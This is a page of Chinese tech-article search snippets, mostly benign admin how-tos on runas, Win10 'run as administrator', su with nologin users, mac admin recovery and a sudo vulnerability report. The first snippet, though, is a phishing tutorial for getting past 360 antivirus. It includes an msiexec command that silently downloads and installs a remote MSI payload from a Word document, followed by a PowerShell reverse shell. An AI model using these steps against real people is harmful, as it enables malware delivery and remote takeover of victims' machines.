首页
学习
活动
专区
圈层
工具
发布

绕过360进行Word文档钓鱼

例如之前常用的的powershell,mshta,regsvr32,这些方法都不会报毒,但是会有弹窗提示用户有风险程序需要运行,很明显一般人都会点击阻止程序运行,谁会点击允许啊?神经病啊!!! ?...安装完Wix工具后执行下列前两条命令,会在同目录下生成一个calc.msi文件,最后一条命令表示远程下载并利用msiexec运行calc.msi文件。...这里解释下参数的意义: /q --以安静模式运行 /i --官方解释是状态消息,不加的话会弹出Windows Installer框引起怀疑 C:\Program Files (x86)\WiX Toolset...Program Files (x86)\WiX Toolset v3.10\bin>msiexec /q /i http://192.168.10.18/calc.msi 注意:Cmd需要以管理员身份运行...此时打开Word文档就会远程执行下载和安装msi木马的命令,进一步运行powershell进行反弹。

2.7K50
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Runas命令能让域用户普通User用户以管理员身份运行指定程序

    比如:某些特定的部门(如财务,物流)没有管理员权限,但工作又需要使用特定的插件或程序,且该程序或插件又必须以管理员身份运行,在这种情况下,我们如果将用户的权限提升为管理员,那样会增加安全风险而且可能引起很多不可控的情况...UserName> program RUNAS使用示例: runas /noprofile /user:mymachine\administrator cmd 说明:使用本机上的Administrator管理员身份执行...echo off runas /user:Colin-PC\Administrator /sa “C:\Program Files\Internet Explorer\iexplore.exe” 说明:以管理员身份运行...向这样,我们将命令保存为批处理后,只要在用户电脑上运行这个批处理(第一次输入管理员密码),以后用户只要双击该文件就可会以管理员身份执行命令中所指定的程序了。 ————————- 这样就完了吗?...如果用户是稍稍有点电脑基础,他就会知道批处理怎样编辑,只要他将指定的程序路径改为他想要以管理员身份运行的程序就可以执行,那岂不是可以为所欲为了? 所以,确定批处理正确无误后,我们应该进行封装操作。

    5.7K00

    mac用户丢失管理员身份急救

    就是如果你曾经编辑mac电脑默认用户资料,比如试图改用户名、试图改HOME路径之类的,有很高比率可能导致该用户丧失管理员权限。...随后悲剧就开始了,所有需要管理员权限认证的地方,比如安装了一个新软件,在弹出的认证窗口中,无论如何输入用户名和密码,都无法授权通过。...#重启电脑 重启完成后,电脑会跟新安装系统一样要求你进行一些系统设置,并允许你创建系统管理员账号。...电脑重启后可以以管理员的身份登录到你原来的系统,如果没有其它的用途再把刚新创建的管理员账户删除就可以了(也可以考虑留这个用户作为应急备用)。...因此可以在命令行重新将本用户加入到管理员组: sudo dscl . -merge /Groups/admin GroupMembership 用户名> 这个命令执行后,权限立即就生效了。

    3.5K50

    Win10 开启以管理员身份运行

    或者是执行一些命令时需要以管理员权限才执行。本文介绍多种形式开启以管理员身份运行。...✍01 鼠标右击点击以管理员身份运行(A) ✪ Chrome 浏览器快捷方式举例: ✍02 win + s 开启电脑搜索 win + s 快捷键开启电脑搜索,输入相关程序。...鼠标右击程序快捷方式点击属性然后选择兼容性选项,勾选以管理员身份运行此程序。 ✪ Chrome 浏览器快捷方式举例: ​ 以后只要鼠标双击打开程序就是以管理员身份运行次程序。...✍04 运行指令以管理员权限创建此任务 有时我们运行命令也需要以管理员运行,才能执行更多的操作。...禁用→ 用户账户控制:以管理员批准模式运行所有管理员 3. 重启电脑 ✪ 成功后的运行 win + R : 注意win10家庭版默认是没有组策略的因此也没有本地安全策略。

    3.7K10

    Win10 开启以管理员身份运行

    或者是执行一些命令时需要以管理员权限才执行。本文介绍多种形式开启以管理员身份运行。 ✍01 鼠标右击点击以管理员身份运行 ✪ Chrome 浏览器快捷方式举例: ?...win + s 以管理员身份运行cmd ✍03 快捷方式属性[兼容性设置] 前两种方式每次打开程序时都要进行相关操作才能以管理员身份运行,不能一劳永逸。...鼠标右击程序快捷方式点击属性然后选择兼容性选项,勾选以管理员身份运行此程序。 ✪ Chrome 浏览器快捷方式举例: ?...快捷方式以管理员身份运行 以后只要鼠标双击打开程序就是以管理员身份运行次程序。 ✍04 运行以管理员权限创建此任务 有时我们运行命令也需要以管理员运行,才能执行更多的操作。...禁用→ 用户账户控制:以管理员批准模式运行所有管理员 ? 禁用→ 用户账户控制:以管理员批准模式运行所有管理员 3. 重启电脑 ✪ 成功后的运行 win + R : ?

    3.8K10

    Linux:使用su命令以非登录用户身份执行命令

    然而,对于那些被设置为不能登录的用户(如其shell被设置为/sbin/nologin或/bin/false),我们仍然可以使用su命令以该用户的身份执行特定的命令,而不是进入一个完整的shell会话。...使用su命令执行单一命令 如果我们需要以非登录用户的身份执行命令,可以使用su命令的-s选项来指定一个替代的shell。...安全提示 在使用su来以非登录用户身份执行命令时,确保该命令不会暴露敏感信息或不小心改变了系统设置。始终以最小权限原则操作。 5....管理员使用 只有具备相应权限的用户(通常是root用户)才能使用su命令切换到非登录用户。这是一个防止权限滥用的安全措施。...结论 使用su -s /bin/bash可以有效地以任何用户身份执行命令,即使该用户的账户被设为了不能登录。这种方法为系统管理员提供了灵活性,同时也需要谨慎使用,以保证系统的安全与稳定。

    1.1K11

    Sudo漏洞允许非特权Linux和macOS用户以root身份运行命令

    苹果安全团队成员Joe Vennix发现了sudo实用程序中的一个重要漏洞,即在特定配置下,它可能允许低特权用户或恶意程序在Linux或macOS系统上以 root身份执行命令。 ?...Sudo给了用户不同身份的特权来运行应用程序或命令,而无需切换运行环境。...当用户在终端中输入密码时,攻击者可以看到该文件提供的反馈,以星号(*)标注。 需要注意的是,在sudo的主流版本或许多其他软件包中,默认情况下并不会启用pwfeedback功能。...受影响的用户应及时打补丁 用户要确定sudoers配置是否受到影响,可以在Linux或macOS终端上运行“sudo -l”命令,来查看是否已启用“pwfeedback”选项,并显示在“匹配默认项”中。...Joe Vennix在去年10月报告了sudo中的类似漏洞,攻击者只要通过指定用户ID“ -1”或“4294967295”就可以利用该漏洞以root身份运行命令。

    2.4K10
    领券